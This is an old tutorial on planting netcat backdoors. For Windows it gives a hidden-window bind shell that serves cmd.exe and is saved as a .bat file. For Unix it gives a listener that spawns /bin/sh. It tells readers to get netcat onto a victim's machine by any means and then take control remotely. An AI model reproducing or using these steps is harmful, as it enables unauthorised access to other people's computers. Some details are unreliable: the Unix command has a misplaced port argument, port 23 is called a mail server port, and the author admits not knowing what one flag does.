Netcat back doors

Netcat back doors

By ghost | 8168 Reads |

0     0

NOTE: I AM NOT RESPOSIBLE FOR YOUR ACTIONS

A must have for any person interesting in hacking is Netcat. You need a copy of netcat for this tutorial, get it here: http://www.vulnwatch.org/netcat/ NOTE: This is the windows version of a UNIX/linux product, to download a UNIX/linux version go to its makers site: http://netcat.sourceforge.net/

THE WINDOWS WAY:

from the downloaded folder, drag nc.exe into the C:/windows/system32 folder.

now leave that alone, and open your favorite text editor (Notepad, Word etc…) and write this: nc -L -d -p pick a port -t -e cmd.exe NOTE: windows 98 and below change cmd.exe to command.com.

Here's what that command does: nc - tells Windows to run the nc.exe file with the following arguments: -L Tells netcat to not close and wait for connections -d Tells netcat not to open a Window when running -p Specifies a port to listen for a connection on -t Tells netcat to accept telnet connections -e Tells what program to run once the port is connected to

Save it in the system32 folder under all files, under any name you want ending in .bat

Now this is the hard part… Unfortunatlly you will have to put the nc.exe file on your target computer, be creative with this. Do it manually with a special cd or floppy, do it remotly whatever, as long as it gets in the system32 folder. To see how it works, ignore this step so we can try it on yourself first.

assuming your target (yourself at this point) has the nc.exe file in their system32 folder, open the .bat file you made.Close it, Now we can start the hacking part…

open the command prompt

type "telnet"

open a connection to your targets IP address, on the port you selected in the .bat file you made. A DOS prompt should open and you should have control over their computer.

Windows users stop here. Have fun.

THE UNIX/LINUX WAY:

Get the unix version of netcat onto your victims comp. Execute the following command on the following system:

nc -nvv -l -p -e /bin/sh pick a port

Execute in a shell script. It would also be a good idea to run the command on a port like a web server (80) or a mail server (23)

This is what the command does:***

-nvv I'm not exactly sure what this does. Further research is required… -l stay open and listen -p what port to listen to -e /bin/sh spawns a shell. Or could use bash, tcsh, ksh etc. instead of sh for the shell of your choice.

And there you go! have fun and im outta here.

-cereal

*** = Thanks to happyhacker.org for this bit